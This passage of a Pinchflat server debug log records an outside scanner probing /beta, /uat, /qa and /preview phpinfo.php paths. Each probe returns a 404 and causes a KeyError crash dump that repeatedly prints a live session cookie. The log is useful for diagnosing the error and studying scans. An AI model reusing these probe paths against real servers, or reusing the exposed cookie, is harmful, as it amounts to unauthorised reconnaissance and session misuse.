"ef409ae1"} ], request_path: "/beta/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7Kdx6LhSbhkAAUAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/beta/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 257, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /beta/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/beta/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 257, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdg (truncated) 02:10:26.229 [info] GET /uat/phpinfo.php 02:10:26.230 [debug] QUERY OK source="settings" db=0.7ms idle=192.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.231 [debug] QUERY OK source="settings" db=0.3ms idle=127.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.231 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.231 [error] #PID<0.3562.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 258) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /uat/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /uat/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uat/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 258, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3562.0>, params: %{}, path_info: ["uat", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/uat/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7KtyvIT-d7IAAUBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uat/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 258, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /uat/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uat/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 258, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ (truncated) 02:10:26.303 [info] GET /qa/phpinfo.php 02:10:26.304 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=200.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.305 [debug] QUERY OK source="settings" db=0.2ms idle=141.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.305 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.305 [error] #PID<0.3563.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 259) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /qa/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /qa/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/qa/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 259, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3563.0>, params: %{}, path_info: ["qa", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/qa/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7K_aSaDi3fYAAUCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/qa/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 259, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /qa/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/qa/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 259, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:26.366 [info] GET /preview/phpinfo.php 02:10:26.367 [debug] QUERY OK source="settings" db=0.2ms idle=204.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.367 [debug] QUERY OK source="settings" db=0.0ms idle=137.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.367 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.368 [error] #PID<0.3564.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 260) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /preview/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /preview/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/preview/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 260, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3564.0>, params: %{}, path_info: ["preview", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/preview/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7LOihrnUgz4AAUDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/preview/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 260, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /preview/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/preview/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => 